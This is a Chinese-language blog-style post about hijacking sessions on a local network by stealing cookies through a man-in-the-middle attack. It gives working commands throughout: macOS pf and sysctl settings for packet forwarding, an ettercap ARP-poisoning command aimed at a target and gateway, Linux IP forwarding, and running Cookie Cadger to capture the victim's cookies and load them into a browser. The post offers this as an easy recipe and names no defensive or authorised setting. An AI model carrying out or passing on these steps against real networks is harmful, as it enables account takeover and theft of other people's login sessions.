最近尝试研究了一下MITM获取cookie进行session hijack的方法 虽然原理很简单网上教程也是一大把 但是真正实现起来的时候还是有这样那样的问题的。
首先最容易找到的教程都是要USB网卡给kali来用但是拿个那么大个的网卡一点也不优雅好不好!!随便在哪里一眼就让人看出来不干好事了。在我折腾下终于搞定了用内置网卡来进行攻击的方法。
在虚拟机中选择bridge模式,会虚拟出网卡给虚拟机用。但是这个网卡毕竟是虚拟的走的还是实体网卡的通道啊尤其是MAC地址根本只有本机能看到好吗。用另一台局域网中的电脑查看都是一个MAC地址。只是VMware这类软件自己根据ip不同讲数据包进行了分类 所以导致在ARP poisoning的时候目标机会上不了网(虽然你Kali里面做了流量转发但是实体机没有啊流量到你这里就停了 target怎么收的到啊)。虽然Mac没有iptables但是他有pf啊!一样可以实现流量转发这种小事的。
Mac下实现流量转发:
首先开启流量转发编辑以下文档
sudo vim /etc/sysctl.conf
添加:
net.inet.ip.forwarding=1
执行:
sudo sysctl -w net.inet.ip.forwarding=1
接下来添加规则:
sudo vim /etc/pf.conf
sudo vim /etc/pf.anchors/MITM
>>pass in all
加载规则:
sudo pfctl -f /etc/pf.conf
启动: sudo pfctl -e
Mac端的流量转发就做好了。
Kali端分以下两步(都是烂大街的内容了不用这些软件用Wireshark再手动注入cookie也是可以的):
1.用ettercap进行APR poisoning 将对方流量采集过来。
2.用cookie-Cadger来过滤出带cookie的包并且加入浏览器中。
首先是ettercap用法:
ettercap –Tq –M arp:remote –i eth0 /target ip// /gateway//
一句命令就可以了 但是还有进行IP转发不然target是上不了网的 :
linux 下开启流量转发: echo 1 > /proc/sys/net/ipv4/ip_forward
下载1.08版本cookie-Cadger
运行: java –jar cookie-Cadger1.08.jar
cookie-Cadger虽然方便但是两年没有维护了,一直没有更新Selenium来支持高版本的Firefox所以这里我们要将浏览器降级成为低版本的。
Kali官方源里最低版本是31.6 而cookie-Cadger1.08可以支持到33所以完全没有问题。
查询版本的命令: apt-cache show iceweasel | grep Version
降级: apt-get install iceweasel=31.6.0esr-1
至此准备工作完成! 接下来只要等待target浏览网页然后cookie-Cadger里就会有相应的出现。选中后点击load domain cookies 就自动打开登陆后的网页了。是不是很简单呢?